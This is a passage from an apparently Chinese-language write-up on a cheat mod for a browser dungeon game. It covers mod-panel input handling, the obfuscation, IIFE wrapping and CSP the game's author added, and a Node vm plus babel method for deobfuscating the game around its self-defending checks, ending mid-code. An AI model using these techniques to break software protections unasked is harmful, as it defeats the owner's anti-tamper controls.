<details><summary>手機觸控會誤觸虛擬搖桿</summary><p>在面板上點東西，觸控事件會傳給遊戲，角色亂跑。面板上的 <code>touchstart</code>、<code>pointerdown</code> 都要 <code>stopPropagation</code>：</p><figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">    // 面板上的觸控/點擊不要傳給遊戲 (遊戲有虛擬搖桿，會被誤觸發移動)</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    [</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"touchstart"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"touchmove"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"touchend"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"touchcancel"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"pointerdown"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"mousedown"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"click"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"wheel"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">].</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">forEach</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">function</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">Name</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) {</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        Panel.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">addEventListener</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(Name, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">function</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">Ev</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) { Ev.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">stopPropagation</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(); }, { passive: </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">true</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> });</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    });</span></span></code></pre></figure><p><a href="https://git.siao.ai/siao/dungeon-reborn-mod/blob/4aac4ce/src/mod-core.js#L298-L301">在 SiaoHub 檢視 siao/dungeon-reborn-mod/src/mod-core.js L298-301</a></p><p>iOS 還有一個坑：面板設了 <code>user-select:none</code>，輸入框也打不了字，<code>input</code> 要單獨設回可選取。</p></details>
<details><summary>在輸入框打字會觸發遊戲熱鍵</summary><p>數值輸入框裡打字，WASD、P、M 全被遊戲當熱鍵吃掉。數字框要自己攔 <code>keydown</code> 和 <code>keyup</code>：</p><figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">        // 在輸入框打字時不要觸發遊戲熱鍵 (WASD、P、M、` 等)</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        Num.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">addEventListener</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"keydown"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">function</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">Ev</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) { Ev.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">stopPropagation</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(); });</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        Num.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">addEventListener</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"keyup"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">function</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">Ev</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) { Ev.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">stopPropagation</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(); });</span></span></code></pre></figure><p><a href="https://git.siao.ai/siao/dungeon-reborn-mod/blob/4aac4ce/src/mod-core.js#L364-L366">在 SiaoHub 檢視 siao/dungeon-reborn-mod/src/mod-core.js L364-366</a></p></details>
<p>v2.5 的外掛本體到 3.1 一行都沒改，現在放在 <code>src/mod-core.js</code>。這一節嵌入的片段固定在 3.1 的版本（<code>4aac4ce</code>）；3.2 補上新機制的部分見（8）的第 5 小節。</p>
<p>本節來源：<a href="#doc-README"><code>README.md</code></a></p>
<hr>
<h2 id="2-作者加了三道防線" class="phrased">（2）<wbr>作者<wbr>加了<wbr>三道<wbr>防線</h2>
<p>10/15 23:19，原作者把 GitHub Pages 換成新的 build，v2.5 當場失效。之後兩個小時內又推了三版：</p>
<table tabindex="0">
<thead>
<tr>
<th>commit</th>
<th>時間</th>
<th>內容</th>
<th><code>game.js</code></th>
</tr>
</thead>
<tbody>
<tr>
<td><code>ca3534b</code></td>
<td>10/14 22:38</td>
<td>最後一版沒混淆的原始碼</td>
<td>138 KB</td>
</tr>
<tr>
<td><code>f788969</code></td>
<td>10/15 23:19</td>
<td>第一個混淆版，加 CSP</td>
<td>450 KB</td>
</tr>
<tr>
<td><code>9d57201</code></td>
<td>10/16 00:06</td>
<td>手機版面、螢幕方向設定</td>
<td>461 KB</td>
</tr>
<tr>
<td><code>5c02894</code></td>
<td>10/16 01:10</td>
<td>哥布林木棒耐久 2 次</td>
<td>471 KB</td>
</tr>
<tr>
<td><code>3b32e21</code></td>
<td>10/16 01:25</td>
<td>木棒耐久 1 次、強化 Android 防竄改</td>
<td>470 KB</td>
</tr>
</tbody>
</table>
<p>作者加了三樣東西：</p>
<ol>
<li><strong>javascript-obfuscator 混淆</strong>：字串陣列、自訂 base64 解碼器、陣列旋轉、約 580 個 wrapper 函式、proxy object、控制流平坦化、數字拆成算式，還有兩個 self-defending 檢查。</li>
<li><strong>整個遊戲包進 IIFE</strong>：<code>(function(){ "use strict"; … })()</code>。</li>
<li><strong><code>index.html</code> 加 CSP meta</strong>：<code>script-src 'self'</code>，禁止 <code>eval</code> 和 inline script。</li>
</ol>
<p>另外存檔加了簽章，見（9）。沒有主動偵測外掛、沒有 <code>debugger</code> 反除錯、沒有網域鎖。</p>
<p>真正讓外掛壞掉的是第 2 道，不是字串混淆。包進 IIFE 之後，<code>G</code>、<code>hurtPlayer</code> 全部變成閉包裡的區域變數：</p>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">typeof</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> window.hurtPlayer   </span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">// "undefined"</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">typeof</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> G</span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">                   // "undefined"</span></span></code></pre></figure>
<p>v2.5 換函式的手法完全沒有東西可換。字串混淆只是讓我看不懂程式碼，IIFE 才是讓外掛接不上去。CSP 則擋掉從外面注入程式碼的路。</p>
<figure class="diagram"><svg viewBox="0.00 0.00 299.00 164.00" xmlns="http://www.w3.org/2000/svg" style="max-width:100%;height:auto;display:block;margin:0 auto" role="img" aria-label="三道防線各擋住什麼">
<g class="graph" transform="scale(1 1) rotate(0) translate(4 159.6)">
<polygon fill="none" stroke="none" points="-4,4 -4,-159.6 294.78,-159.6 294.78,4 -4,4"></polygon>

<g class="node">

<path fill="none" stroke="currentColor" d="M72.42,-41.6C72.42,-41.6 24.42,-41.6 24.42,-41.6 18.42,-41.6 12.42,-35.6 12.42,-29.6 12.42,-29.6 12.42,-12 12.42,-12 12.42,-6 18.42,0 24.42,0 24.42,0 72.42,0 72.42,0 78.42,0 84.42,-6 84.42,-12 84.42,-12 84.42,-29.6 84.42,-29.6 84.42,-35.6 78.42,-41.6 72.42,-41.6"></path>
<text text-anchor="middle" x="48.42" y="-25" font-family="Times,serif" font-size="14.00">字串混淆</text>
<text text-anchor="middle" x="48.42" y="-8.2" font-family="Times,serif" font-size="14.00">_0x 識別字</text>
</g>

<g class="node">

<path fill="none" stroke="currentColor" d="M239.31,-38.8C239.31,-38.8 194.81,-38.8 194.81,-38.8 188.81,-38.8 182.81,-32.8 182.81,-26.8 182.81,-26.8 182.81,-14.8 182.81,-14.8 182.81,-8.8 188.81,-2.8 194.81,-2.8 194.81,-2.8 239.31,-2.8 239.31,-2.8 245.31,-2.8 251.31,-8.8 251.31,-14.8 251.31,-14.8 251.31,-26.8 251.31,-26.8 251.31,-32.8 245.31,-38.8 239.31,-38.8"></path>
<text text-anchor="middle" x="217.06" y="-16.6" font-family="Times,serif" font-size="14.00">讀懂程式碼</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M84.76,-20.8C110.01,-20.8 144.17,-20.8 171.32,-20.8"></path>
<polygon fill="currentColor" stroke="currentColor" points="170.97,-24.3 180.97,-20.8 170.97,-17.3 170.97,-24.3"></polygon>
<text text-anchor="middle" x="120.1" y="-25" font-family="Times,serif" font-size="14.00">擋</text>
</g>

<g class="node">

<path fill="none" stroke="currentColor" d="M69.51,-95.8C69.51,-95.8 27.34,-95.8 27.34,-95.8 21.34,-95.8 15.34,-89.8 15.34,-83.8 15.34,-83.8 15.34,-71.8 15.34,-71.8 15.34,-65.8 21.34,-59.8 27.34,-59.8 27.34,-59.8 69.51,-59.8 69.51,-59.8 75.51,-59.8 81.51,-65.8 81.51,-71.8 81.51,-71.8 81.51,-83.8 81.51,-83.8 81.51,-89.8 75.51,-95.8 69.51,-95.8"></path>
<text text-anchor="middle" x="48.42" y="-73.6" font-family="Times,serif" font-size="14.00">IIFE 封裝</text>
</g>

<g class="node">

<path fill="none" stroke="currentColor" d="M278.78,-98.6C278.78,-98.6 155.35,-98.6 155.35,-98.6 149.35,-98.6 143.35,-92.6 143.35,-86.6 143.35,-86.6 143.35,-69 143.35,-69 143.35,-63 149.35,-57 155.35,-57 155.35,-57 278.78,-57 278.78,-57 284.78,-57 290.78,-63 290.78,-69 290.78,-69 290.78,-86.6 290.78,-86.6 290.78,-92.6 284.78,-98.6 278.78,-98.6"></path>
<text text-anchor="middle" x="217.06" y="-82" font-family="Times,serif" font-size="14.00">換掉 window.hurtPlayer</text>
<text text-anchor="middle" x="217.06" y="-65.2" font-family="Times,serif" font-size="14.00">讀取 G</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M81.95,-77.8C96.31,-77.8 113.94,-77.8 131.62,-77.8"></path>
<polygon fill="currentColor" stroke="currentColor" points="131.41,-81.3 141.41,-77.8 131.41,-74.3 131.41,-81.3"></polygon>
<text text-anchor="middle" x="120.1" y="-82" font-family="Times,serif" font-size="14.00">擋</text>
</g>

<g class="node">

<path fill="none" stroke="currentColor" d="M84.85,-155.6C84.85,-155.6 12,-155.6 12,-155.6 6,-155.6 0,-149.6 0,-143.6 0,-143.6 0,-126 0,-126 0,-120 6,-114 12,-114 12,-114 84.85,-114 84.85,-114 90.85,-114 96.85,-120 96.85,-126 96.85,-126 96.85,-143.6 96.85,-143.6 96.85,-149.6 90.85,-155.6 84.85,-155.6"></path>
<text text-anchor="middle" x="48.42" y="-139" font-family="Times,serif" font-size="14.00">CSP meta</text>
<text text-anchor="middle" x="48.42" y="-122.2" font-family="Times,serif" font-size="14.00">script-src 'self'</text>
</g>

<g class="node">

<path fill="none" stroke="currentColor" d="M258.56,-152.8C258.56,-152.8 175.57,-152.8 175.57,-152.8 169.57,-152.8 163.57,-146.8 163.57,-140.8 163.57,-140.8 163.57,-128.8 163.57,-128.8 163.57,-122.8 169.57,-116.8 175.57,-116.8 175.57,-116.8 258.56,-116.8 258.56,-116.8 264.56,-116.8 270.56,-122.8 270.56,-128.8 270.56,-128.8 270.56,-140.8 270.56,-140.8 270.56,-146.8 264.56,-152.8 258.56,-152.8"></path>
<text text-anchor="middle" x="217.06" y="-130.6" font-family="Times,serif" font-size="14.00">注入 inline script</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M97.18,-134.8C114.22,-134.8 133.71,-134.8 151.9,-134.8"></path>
<polygon fill="currentColor" stroke="currentColor" points="151.82,-138.3 161.82,-134.8 151.82,-131.3 151.82,-138.3"></polygon>
<text text-anchor="middle" x="120.1" y="-139" font-family="Times,serif" font-size="14.00">擋</text>
</g>
</g>
</svg><figcaption>三道防線各擋住什麼</figcaption></figure>
<p>本節來源：<a href="#doc-reverse-README"><code>reverse/README.md</code></a></p>
<hr>
<h2 id="3-字串陣列與-self-defending-直接跑原始解碼器" class="phrased">（3）<wbr>字串<wbr>陣列<wbr>與 self-defending：<wbr>直接<wbr>跑<wbr>原始<wbr>解碼器</h2>
<p>混淆後的檔案頂層只有三樣東西：解碼器函式、字串陣列函式，以及一個逗號運算式 <code>(旋轉器(陣列, 常數), function(){ 整個遊戲 }())</code>。</p>
<ul>
<li><strong>字串陣列</strong>：約 1900 個編碼字串。</li>
<li><strong>解碼器</strong>：自訂字母表的 base64，轉成 <code>%xx</code> 再 <code>decodeURIComponent</code>，有快取。</li>
<li><strong>旋轉器</strong>：<code>while(true)</code> 裡用一堆 <code>parseInt(解碼(...))</code> 算一個式子，不等於常數就把陣列 <code>push(shift())</code> 轉一格，轉到對為止。</li>
</ul>
<p>我沒有重寫解碼演算法，而是把這三段<strong>原封不動</strong>放進 Node 的 <code>vm</code> 執行，之後用它來解每一個呼叫：</p>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> prelude</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> code.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">slice</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(decFn.start, decFn.end) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> ';'</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> +</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> code.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">slice</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(arrFn.start, arrFn.end) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> ';('</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> +</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> code.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">slice</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(rot.start, rot.end) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> ');'</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> ctx</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> vm.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">createContext</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">({});</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">vm.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">runInContext</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(prelude, ctx, { timeout: </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">5000</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> });</span></span></code></pre></figure>
<p><a href="https://git.siao.ai/siao/dungeon-reborn-mod/blob/main/reverse/reveal.mjs#L26-L28">在 SiaoHub 檢視 siao/dungeon-reborn-mod/reverse/reveal.mjs L26-28</a></p>
<p>一定要用原始碼，是因為有兩個 self-defending 檢查：</p>
<ol>
<li>解碼器裡有 <code>(''+function(){…}).indexOf('\n')</code>。程式被排版過、函式文字裡出現換行，就改用另一條路徑，解出錯的字串。</li>
<li>另一個檢查用 <code>RegExp</code> 測某個函式的 <code>toString()</code>，不符合就進無窮迴圈。</li>
</ol>
<p>排版過的程式碼會同時踩到兩個。直接跑沒排版過的原始碼，兩個檢查自然通過。</p>
<details><summary>webcrack 為什麼卡住</summary><p>一開始用 webcrack，它在 sandbox 裡跑到 timeout。把它送進 sandbox 的程式碼印出來，裡面有字串陣列和旋轉器，但<strong>沒有解碼器</strong>：webcrack 認不出這個版本的解碼器。旋轉器呼叫一個不存在的函式，<code>parseInt</code> 一直丟例外，被 <code>catch</code> 接住之後繼續轉，就變成無窮迴圈。obfuscator-io-deobfuscator 也一樣認不出來（<code>Unknown reference to string array function</code>）。</p><p>所以字串還原改用自己寫的 <code>reveal.mjs</code>，webcrack 只拿來排版。</p></details>
<p>本節來源：<a href="#doc-reverse-README"><code>reverse/README.md</code></a></p>
<hr>
<h2 id="4-wrapper-函式-用-scope-追到不動點" class="phrased">（4）<wbr>wrapper 函式：<wbr>用 scope 追到<wbr>不動<wbr>點</h2>
<p>解碼器不會被直接呼叫。每個作用域裡都有幾個 wrapper：</p>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">function</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> _0x4b15d0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">a</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">b</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) { </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">return</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> _0x550d</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(b </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0x1ee</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, a); }</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">function</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> _0x490513</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">a</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">b</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) { </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">return</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> _0x550d</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(a </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> -</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0xc7</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, b); }</span></span></code></pre></figure>
<p>wrapper 還會呼叫上一層的 wrapper，可以疊好幾層。同一個名字在不同作用域代表不同的 wrapper，所以不能用文字取代，要用 babel 的 scope 追綁定：</p>
<ol>
<li>找出「本體只有一行 <code>return 另一個 wrapper(參數的算式)</code>」的函式，登記成 wrapper，給它一個不會撞名的代號，定義也送進 <code>vm</code>。</li>
<li>一直重複，直到沒有新的 wrapper 為止。</li>
<li>把所有參數都是常數的呼叫，丟進 <code>vm</code> 求值，換成字串常數。</li>
</ol>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">let</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> changed </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> true</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, defs </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> [];</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">while</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (changed) {</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  changed </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> false</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">  traverse</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(ast, {</span></span>
<span data-line=""><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">    Function</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">path</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">      const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> n</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> path.node;</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">      if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (n.body.type </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">!==</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> 'BlockStatement'</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> ||</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> n.body.body.</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">length</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> !==</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">      const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> r</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> n.body.body[</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">];</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">      if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">!</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">t.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">isReturnStatement</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(r) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">||</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> !</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">t.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">isCallExpression</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(r.argument)) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">      const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> params</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> new</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> Set</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(n.params.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">map</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">p</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =></span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> p.name));</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">      if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (n.params.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">some</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">p</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =></span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> !</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">t.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">isIdentifier</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(p))) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
